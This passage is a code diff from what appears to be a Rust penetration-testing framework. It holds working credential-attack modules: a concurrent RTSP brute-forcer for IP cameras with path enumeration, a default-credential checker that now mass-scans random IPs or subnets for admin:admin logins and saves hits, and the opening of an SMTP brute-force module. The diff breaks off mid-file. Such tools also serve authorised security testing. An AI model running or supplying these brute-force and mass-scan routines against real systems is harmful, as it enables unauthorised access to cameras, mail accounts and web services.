|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match crate::utils::network::tcp_connect_addr(*sa, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
// Add Read timeout
|
||||
let n = match timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
stream.read(&mut buffer),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
|
||||
if n == 0 {
|
||||
return Err(anyhow!(
|
||||
"{}: server closed connection unexpectedly.",
|
||||
addr_display
|
||||
));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
// Some cameras might return 404 if path is wrong but still authorized?
|
||||
// Or 400 Bad Request?
|
||||
// Safest is to treat anything not 200 as fail, but maybe check for specifc auth fail codes.
|
||||
// If we get 404, the creds might be valid but path invalid.
|
||||
// But without positive valid signal, we assume fail.
|
||||
Err(anyhow!(
|
||||
"{}: unexpected RTSP response: {}",
|
||||
addr_display,
|
||||
response.lines().next().unwrap_or("")
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract RTSP path from target string (e.g., rtsp://host:port/path -> Some("/path"))
|
||||
/// Returns None if no path is present or if path is just "/"
|
||||
fn extract_rtsp_path(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Remove rtsp:// scheme if present
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
|
||||
// Split on first '/' to separate host:port from path
|
||||
if let Some((_, path)) = without_scheme.split_once('/') {
|
||||
// Remove query strings and fragments
|
||||
let clean_path = path
|
||||
.split(|c| c == '?' || c == '#')
|
||||
.next()
|
||||
.unwrap_or_default()
|
||||
.trim();
|
||||
|
||||
if clean_path.is_empty() || clean_path == "/" {
|
||||
None
|
||||
} else {
|
||||
// Ensure path starts with '/'
|
||||
let mut final_path = clean_path.to_string();
|
||||
if !final_path.starts_with('/') {
|
||||
final_path.insert(0, '/');
|
||||
}
|
||||
Some(final_path)
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
@@ -1,437 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
net::SocketAddr,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::sleep,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = prompt_default("RTSP Port", "554").await?
|
||||
.parse().unwrap_or(554);
|
||||
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false).await?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE").await?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false).await? {
|
||||
let headers_path = prompt_wordlist("Path to RTSP headers file").await?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false).await?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_wordlist("Path to RTSP paths file").await?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
// Use loop structure from other modules or this module's custom loop?
|
||||
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
|
||||
// I will preserve the original logic flow.
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let command = advanced_command.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
|
||||
// The semaphore logic above (acquire_owned) already throttles concurrency.
|
||||
}
|
||||
}
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found (with these paths).".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
// Use shared normalization for the host/port part
|
||||
let normalized_host = normalize_target(host_part)?;
|
||||
|
||||
// Check if normalized host implies a port. normalize_target returns host:port or host.
|
||||
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
|
||||
// However, existing logic seemed to force a port.
|
||||
// Let's check if port is present.
|
||||
// A simple heuristic: if it ends with digit, check for colon.
|
||||
// [ipv6]:port, ipv4:port, host:port.
|
||||
// If we assume normalize_target did its job, we just need to adhere to the return type.
|
||||
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
|
||||
// Checking for port on a normalized string:
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let final_host = if has_port {
|
||||
normalized_host
|
||||
} else {
|
||||
format!("{}:{}", normalized_host, default_port)
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((final_host, normalized_path))
|
||||
}
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
|
||||
@@ -1,31 +1,68 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Sample Default Credential Checker".to_string(),
|
||||
description: "Sample module that tests HTTP Basic Auth with default admin:admin credentials. Serves as a template for building custom credential checking modules.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
crate::mprintln!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Mass scan mode: random IPs, CIDR subnets, or target file
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "HTTP Basic Auth",
|
||||
default_port: 80,
|
||||
state_file: "sample_cred_mass_state.log",
|
||||
default_output: "sample_cred_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
|
||||
let url = format!("http://{}:{}/login", ip, port);
|
||||
let resp = client.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
.send()
|
||||
.await
|
||||
.ok()?;
|
||||
if resp.status().is_success() {
|
||||
let msg = format!("{}:{}:admin:admin", ip, port);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
None
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
println!();
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let resp = client
|
||||
.post(&url)
|
||||
@@ -35,9 +72,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
crate::mprintln!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
// Persist discovered credential to the framework's credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, 80, "http", "admin", "admin",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/sample_cred_check",
|
||||
).await;
|
||||
} else {
|
||||
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
crate::mprintln!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,295 +1,311 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::net::{ToSocketAddrs, IpAddr};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use telnet::{Telnet, Event};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
/// Default SMTP timeout in milliseconds (10 seconds).
|
||||
/// Real SMTP servers often do reverse DNS lookups on connect, taking 5-10s.
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 10_000;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
output_file: String,
|
||||
delay_ms: u64,
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SMTP Brute Force".to_string(),
|
||||
description: "Brute-force SMTP authentication supporting PLAIN and LOGIN mechanisms. Tests credentials against mail servers with combo mode and subnet scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
|
||||
|
||||
let threads = prompt_int_range("Threads", 8, 1, 256).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output file for results", "smtp_results.txt").await?;
|
||||
crate::mprintln!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let config = SmtpBruteforceConfig {
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
